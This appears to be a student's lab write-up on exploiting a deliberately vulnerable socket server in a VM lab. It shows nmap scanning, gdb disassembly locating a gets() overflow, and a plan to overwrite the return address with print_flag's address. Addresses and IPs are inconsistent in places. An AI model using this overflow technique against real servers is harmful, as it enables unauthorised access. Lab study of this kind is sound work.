

## Lab3: Binary exploitation

The goal of this lab is to get some hands-on experience with hacking a simple socket server using the stack overflow exploit.

### Setup (two Alpine Linux VMs, both connected to the same network):

- alpine-attacker-guest
- alpine-hackable-5

Locate **.ova** files and extract them

```
tar -xvf alpline-attacker-guest.ova
tar -xvf alpline-hackable-5.ova
```

Convert to **qcow2** for UTM

```
qemu-img convert -f vmdk -O qcow2 alpline-attacker-guest-disk001.vmdk
alpline-attacker-guest.qcow2
qemu-img convert -f vmdk -O qcow2 alpline-hackable-5-disk001.vmdk alpline-
hackable-5.qcow2
```

And setup in UTM as in lab 1.

First we verify connectivity

```
ifconfig # to check ip-address
```

alpine-attacker-guest: 192.160.64.10 alpine-hackable-5: 192.160.64.11

alpine-attacker-guest: login -- **root**; pass -- **<empty>**

```

alpine-hackable-5
* Mounting /run ... [ ok ]
* /run/openrc: creating directory
* /run/lock: creating directory
* /run/lock: correcting owner
* Caching service dependencies ... [ ok ]
* Remounting devtmpfs on /dev ... [ ok ]
* Mounting /dev/mqueue ... [ ok ]
* Mounting security filesystem ... [ ok ]
* Mounting debug filesystem ... [ ok ]
* Mounting persistent storage (pstore) filesystem ... [ ok ]
* Starting busybox mdev ... [ ok ]
* Scanning hardware for mdev ... [ ok ]
* Loading hardware drivers ... [ ok ]
* Loading modules ... [ ok ]
* Setting system clock using the hardware clock [UTC] ... [ ok ]
* Checking local filesystems ...
/dev/sda3: clean, 3939/374624 files, 75091/1495808 blocks
/dev/sda1: recovering journal
/dev/sda1: clean, 25/76912 files, 55613/307200 blocks [ ok ]
* Remounting root filesystem read/write ... [ ok ]
* Remounting filesystems ... [ ok ]
* Activating swap devices ... [ ok ]
* Mounting local filesystems ... [ ok ]
* Configuring kernel parameters ... [ ok ]
* Creating user login records ... [ ok ]
* Setting hostname ... [ ok ]
* Setting keymap ... [ ok ]
* Starting networking ... [ ok ]
* lo ... [ ok ]
* eth0 ... [ ok ]
udhcpd: started, v1.37.0
udhcpd: broadcasting discover
udhcpd: broadcasting select for 192.168.64.11, server 192.168.64.1
udhcpd: lease of 192.168.64.11 obtained from 192.168.64.1, lease time 3600 [ ok ]
* eth1 ... [ ok ]
ip: ioctl 0x8913 failed: No such device
udhcpd: ioctl 0x8933 failed: No such device
ifup: failed to change interface eth1 state to 'up' [ ?? ]
* Seeding random number generator ... [ ok ]
* Seeding 256 bits and crediting
* Saving 256 bits of creditable seed for next boot [ ok ]
* Starting busybox syslog ... [ ok ]
* Starting busybox acpid ... [ ok ]
* Starting busybox crond ... [ ok ]
* Starting sshd ... [ ok ]

Welcome to Alpine Linux 3.21
Kernel 6.12.20-0-virt on an x86_64 (/dev/tty1)

localhost login:

```

```

alpine-attacker-guest
udhcpd: broadcasting discover
udhcpd: broadcasting select for 192.168.64.10, server 192.168.64.1
udhcpd: lease of 192.168.64.10 obtained from 192.168.64.1, lease time 3600 [ ok ]
* eth1 ... [ ok ]
ip: ioctl 0x8913 failed: No such device
udhcpd: ioctl 0x8933 failed: No such device
ifup: failed to change interface eth1 state to 'up' [ ?? ]
* Seeding random number generator ... [ ok ]
* Seeding 256 bits and crediting
* Saving 256 bits of creditable seed for next boot [ ok ]
* Starting busybox syslog ... [ ok ]
* Starting busybox acpid ... [ ok ]
* Starting busybox crond ... [ ok ]

Welcome to Alpine Linux 3.21
Kernel 6.12.20-0-virt on an x86_64 (/dev/tty1)

localhost login: root
Password:
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

localhost:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 4E:44:89:A1:C5:FD
          inet addr:192.168.64.10  Bcast:0.0.0.0  Mask:255.255.255.0
          inet6 addr: fd01:617b:395a:2790:4c44:89ff:feal:c5fd/64 Scope:Global
          inet6 addr: fe80::4c44:89ff:feal:c5fd/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2313 (2.2 KiB)  TX bytes:1289 (1.2 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

localhost:~#

```

And test connectivity with ping

```
ping [other-vm-ip-address]
```

```
localhost:~# ping 192.168.64.11
PING 192.168.64.11 (192.168.64.11): 56 data bytes
64 bytes from 192.168.64.11: seq=0 ttl=64 time=21.444 ms
64 bytes from 192.168.64.11: seq=1 ttl=64 time=3.753 ms
64 bytes from 192.168.64.11: seq=2 ttl=64 time=3.087 ms
64 bytes from 192.168.64.11: seq=3 ttl=64 time=3.708 ms
64 bytes from 192.168.64.11: seq=4 ttl=64 time=2.845 ms
64 bytes from 192.168.64.11: seq=5 ttl=64 time=2.492 ms
^C
```

Accessing binary file on vm was kinda tricky, so i started http server on my machine

```
python3 -m http.server 8000
```

And downloaded the file on attacker vm

```
wget http://192.168.64.1:8000/unsafe_server_option_5
chmod +x unsafe_server_option_5
```

Port scanning

```
localhost:~# nmap -p- 192.168.64.11
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-15 23:10 EEST
Nmap scan report for 192.168.64.11
Host is up (0.00099s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
7255/tcp   open  unknown
MAC Address: F2:1C:84:68:6D:26 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 4.24 seconds
```

There are two open ports on the target machine:

- port 22/tcp: as mentioned in the task, this is likely used for setup and administration purposes and can be safely ignored for your exploitation task
- port 7255/tcp: almost certainly our vulnerable server target -- the one running the `unsafe_server_option_5` binary.

Create two files, `flag.txt` and `passwd.txt` in the same directory as the server, and fill them with `test_password\n` and `test_flag\n`, also on the screenshot bellow the hex version is attached

```
localhost:~# echo -e "test_password\n" > passwd.txt
localhost:~# echo -e "test_flag\n" > flag.txt
localhost:~# hexdump -C passwd.txt
00000000  74 65 73 74 5f 70 61 73  73 77 6f 72 64 0a 0a      |test_password..|
0000000f
localhost:~# hexdump -C flag.txt
00000000  74 65 73 74 5f 66 6c 61  67 0a 0a                  |test_flag..|
0000000b
localhost:~#
```

Now we start gdb with the server binary

```
gdb --args ./unsafe_server_option_5 passwd.txt
(gdb) set disassembly-flavor intel
(gdb) info functions
```

(it got a little truncated on the screenshot 😊)

```
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./unsafe_server_option_5...
(No debugging symbols found in ./unsafe_server_option_5)
(gdb) set disassembly-flavor intel
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004011b0  strcpy@plt
0x00000000004011c0  __isoc99_fscanf@plt
0x00000000004011d0  fread@plt
0x00000000004011e0  fclose@plt
0x00000000004011f0  htons@plt
0x0000000000401200  dup2@plt
0x0000000000401210  printf@plt
0x0000000000401220  htonl@plt
0x0000000000401230  memset@plt
0x0000000000401240  close@plt
0x0000000000401250  dprintf@plt
0x0000000000401260  read@plt
0x0000000000401270  strencpy@plt
0x0000000000401280  fprintf@plt
0x0000000000401290  gets@plt
0x00000000004012a0  listen@plt
0x00000000004012b0  bind@plt
0x00000000004012c0  fsync@plt
0x00000000004012d0  open@plt
0x00000000004012e0  fopen@plt
0x00000000004012f0  perror@plt
0x0000000000401300  accept@plt
0x0000000000401310  fwrite@plt
0x0000000000401320  socket@plt
0x0000000000401330  _start
0x0000000000401360  _dl_relocate_static_pie
0x0000000000401370  deregister_tm_clones
0x00000000004013a0  register_tm_clones
0x00000000004013e0  __do_global_ctors_aux
0x0000000000401410  frame_dummy
0x0000000000401415  print_flag
0x00000000004014ed  read_passwd_file
0x000000000040157f  ask_client
0x0000000000401606  get_passwd_fd
0x0000000000401883  main
0x0000000000401bc8  _fini
(gdb)
```

Lets disassemble the `ask_client` function first, as that's likely where the vulnerability will be:

```
(gdb) disas ask_client
```

```

alpine-attacker-guest
Dump of assembler code for function ask_client:
0x000000000040157f <+0>:    endbr64
0x0000000000401583 <+4>:    push    rbp
0x0000000000401584 <+5>:    mov     rbp,rsp
0x0000000000401587 <+8>:    sub     rsp,0x70
0x000000000040158b <+12>:   mov     QWORD PTR [rbp-0x40],0x0
0x0000000000401593 <+20>:   mov     QWORD PTR [rbp-0x38],0x0
0x000000000040159b <+28>:   mov     QWORD PTR [rbp-0x30],0x0
0x00000000004015a3 <+36>:   mov     QWORD PTR [rbp-0x28],0x0
0x00000000004015ab <+44>:   mov     QWORD PTR [rbp-0x20],0x0
0x00000000004015b3 <+52>:   mov     DWORD PTR [rbp-0x18],0x0
0x00000000004015ba <+59>:   mov     WORD PTR [rbp-0x14],0x0
0x00000000004015c0 <+65>:   lea     rax,[rbp-0x40]
0x00000000004015c4 <+69>:   mov     rdi,rax
0x00000000004015c7 <+72>:   call    0x401290 <gets@plt>
0x00000000004015cc <+77>:   mov     QWORD PTR [rbp-0x70],0x0
0x00000000004015d4 <+85>:   mov     QWORD PTR [rbp-0x68],0x0
0x00000000004015dc <+93>:   mov     QWORD PTR [rbp-0x60],0x0
0x00000000004015e4 <+101>:  mov     QWORD PTR [rbp-0x58],0x0
0x00000000004015ec <+109>:  mov     QWORD PTR [rbp-0x50],0x0
0x00000000004015f4 <+117>:  mov     DWORD PTR [rbp-0x48],0x0
0x00000000004015fb <+124>:  mov     WORD PTR [rbp-0x44],0x0
0x0000000000401601 <+130>:  lea     rax,[rbp-0x70]
0x0000000000401605 <+134>:  mov     rdi,rax
0x0000000000401608 <+137>:  call    0x4014ed <read_passwd_file>
0x000000000040160d <+142>:  mov     DWORD PTR [rbp-0x4],eax
0x0000000000401610 <+145>:  cmp     DWORD PTR [rbp-0x4],0x0
0x0000000000401614 <+149>:  je      0x40161b <ask_client+156>
0x0000000000401616 <+151>:  mov     eax,DWORD PTR [rbp-0x4]
0x0000000000401619 <+154>:  jmp     0x401684 <ask_client+261>
0x000000000040161b <+156>:  lea     rdx,[rbp-0x70]
0x000000000040161f <+160>:  lea     rax,[rbp-0x40]
0x0000000000401623 <+164>:  mov     rsi,rdx
0x0000000000401626 <+167>:  mov     rdi,rax
0x0000000000401629 <+170>:  call    0x401270 <strcmp@plt>
0x000000000040162e <+175>:  test    eax,eax
0x0000000000401630 <+177>:  jne     0x40165c <ask_client+221>
0x0000000000401632 <+179>:  mov     rax,QWORD PTR [rip+0x2ac7]    # 0x404100 <stderr@GLIBC_2.2.5>
0x0000000000401639 <+186>:  lea     rcx,[rbp-0x70]
0x000000000040163d <+190>:  lea     rdx,[rbp-0x40]
0x0000000000401641 <+194>:  lea     rsi,[rip+0xac0]              # 0x402108
0x0000000000401648 <+201>:  mov     rdi,rax
0x000000000040164b <+204>:  mov     eax,0x0
0x0000000000401650 <+209>:  call    0x401280 <fprintf@plt>
0x0000000000401655 <+214>:  mov     eax,0x0
0x000000000040165a <+219>:  jmp     0x401684 <ask_client+261>
0x000000000040165c <+221>:  mov     rax,QWORD PTR [rip+0x2a9d]    # 0x404100 <stderr@GLIBC_2.2.5>
0x0000000000401663 <+228>:  lea     rcx,[rbp-0x70]
0x0000000000401667 <+232>:  lea     rdx,[rbp-0x40]
--Type <RET> for more, q to quit, c to continue without paging--

```

```

alpine-attacker-guest
0x00000000004015ab <+44>:   mov     QWORD PTR [rbp-0x20],0x0
0x00000000004015b3 <+52>:   mov     DWORD PTR [rbp-0x18],0x0
0x00000000004015ba <+59>:   mov     WORD PTR [rbp-0x14],0x0
0x00000000004015c0 <+65>:   lea     rax,[rbp-0x40]
0x00000000004015c4 <+69>:   mov     rdi,rax
0x00000000004015c7 <+72>:   call    0x401290 <gets@plt>
0x00000000004015cc <+77>:   mov     QWORD PTR [rbp-0x70],0x0
0x00000000004015d4 <+85>:   mov     QWORD PTR [rbp-0x68],0x0
0x00000000004015dc <+93>:   mov     QWORD PTR [rbp-0x60],0x0
0x00000000004015e4 <+101>:  mov     QWORD PTR [rbp-0x58],0x0
0x00000000004015ec <+109>:  mov     QWORD PTR [rbp-0x50],0x0
0x00000000004015f4 <+117>:  mov     DWORD PTR [rbp-0x48],0x0
0x00000000004015fb <+124>:  mov     WORD PTR [rbp-0x44],0x0
0x0000000000401601 <+130>:  lea     rax,[rbp-0x70]
0x0000000000401605 <+134>:  mov     rdi,rax
0x0000000000401608 <+137>:  call    0x4014ed <read_passwd_file>
0x000000000040160d <+142>:  mov     DWORD PTR [rbp-0x4],eax
0x0000000000401610 <+145>:  cmp     DWORD PTR [rbp-0x4],0x0
0x0000000000401614 <+149>:  je      0x40161b <ask_client+156>
0x0000000000401616 <+151>:  mov     eax,DWORD PTR [rbp-0x4]
0x0000000000401619 <+154>:  jmp     0x401684 <ask_client+261>
0x000000000040161b <+156>:  lea     rdx,[rbp-0x70]
0x000000000040161f <+160>:  lea     rax,[rbp-0x40]
0x0000000000401623 <+164>:  mov     rsi,rdx
0x0000000000401626 <+167>:  mov     rdi,rax
0x0000000000401629 <+170>:  call    0x401270 <strcmp@plt>
0x000000000040162e <+175>:  test    eax,eax
0x0000000000401630 <+177>:  jne     0x40165c <ask_client+221>
0x0000000000401632 <+179>:  mov     rax,QWORD PTR [rip+0x2ac7]    # 0x404100 <stderr@GLIBC_2.2.5>
0x0000000000401639 <+186>:  lea     rcx,[rbp-0x70]
0x000000000040163d <+190>:  lea     rdx,[rbp-0x40]
0x0000000000401641 <+194>:  lea     rsi,[rip+0xac0]              # 0x402108
0x0000000000401648 <+201>:  mov     rdi,rax
0x000000000040164b <+204>:  mov     eax,0x0
0x0000000000401650 <+209>:  call    0x401280 <fprintf@plt>
0x0000000000401655 <+214>:  mov     eax,0x0
0x000000000040165a <+219>:  jmp     0x401684 <ask_client+261>
0x000000000040165c <+221>:  mov     rax,QWORD PTR [rip+0x2a9d]    # 0x404100 <stderr@GLIBC_2.2.5>
0x0000000000401663 <+228>:  lea     rcx,[rbp-0x70]
0x0000000000401667 <+232>:  lea     rdx,[rbp-0x40]
--Type <RET> for more, q to quit, c to continue without paging--c
0x000000000040166b <+236>:  lea     rsi,[rip+0xace]              # 0x402140
0x0000000000401672 <+243>:  mov     rdi,rax
0x0000000000401675 <+246>:  mov     eax,0x0
0x000000000040167a <+251>:  call    0x401280 <fprintf@plt>
0x000000000040167f <+256>:  mov     eax,0x1
0x0000000000401684 <+261>:  leave
0x0000000000401685 <+262>:  ret
End of assembler dump.
(qdb)

```

The first thing we notice is

```

0x0000000000401587 <+8>:    sub     rsp,0x70

```

, this allocates 0x70 (112) bytes on the stack for the function's local variables.

Going downward

```
0x00000000004015c0 <+65>:    lea    rax,[rbp-0x40]
0x00000000004015c4 <+69>:    mov    rdi,rax
0x00000000004015c7 <+72>:    call   0x401290 <gets@plt>
```

we see the function that uses `gets()` to read user input into a buffer at `[rbp-0x40]`. `gets()` function does not perform any bounds checking, i.e., it will keep reading input until it encounters a newline, potentially overflowing the buffer.

So we have found the vulnerability))

Lets dig deeper...

The buffer starts at `[rbp-0x40]` (64 bytes from the base pointer), we need 64 bytes to reach the saved base pointer (rbp), we also need 8 more bytes to overwrite the saved rbp, the next 8 bytes will overwrite the return address -> total offset to return address is 72 bytes.

Now lets craft our exploit strategy. First we need to create a payload that fills the buffer with 72 bytes of padding, then append the return address and the address of the `print_flag` function (0x0000000000401416, 0x401416), after this when the function returns it will jump to `print_flag` instead of its original caller.

Next we generate payload using `gen_payload.py`.

```
python3 gen_payload.py
```

And C client, that is implemtned in `client.c`, connects to the target server, reads and sends the payload, receives and displays the server's response. The client takes three arguments: ip address of the server, port number and payload file.

Compile the client

```
gcc -o client client.c
```

I use the same approach to transfer those files through http server.

Now on attacker run

```
./client 192.168.64.11 7255 payload.bin
```

And it works!!!

```
localhost:~# ./client 192.168.64.11 7255 payload.bin
Connecting to 192.168.64.11:7255...
Connected successfully!
Server: Please enter a password to continue:
Sending payload (89 bytes)...
Payload sent! Waiting for response...
Server response: Access granted, your personal flag is: 8UU7W1K6UQJDT74USD6HBYDOF6RT5W
.
However, access to personal secret flag is not permitted for any user. Please contact your administrator who can access the secret flag file.
Connection closed by server.
Connection closed.
localhost:~#
```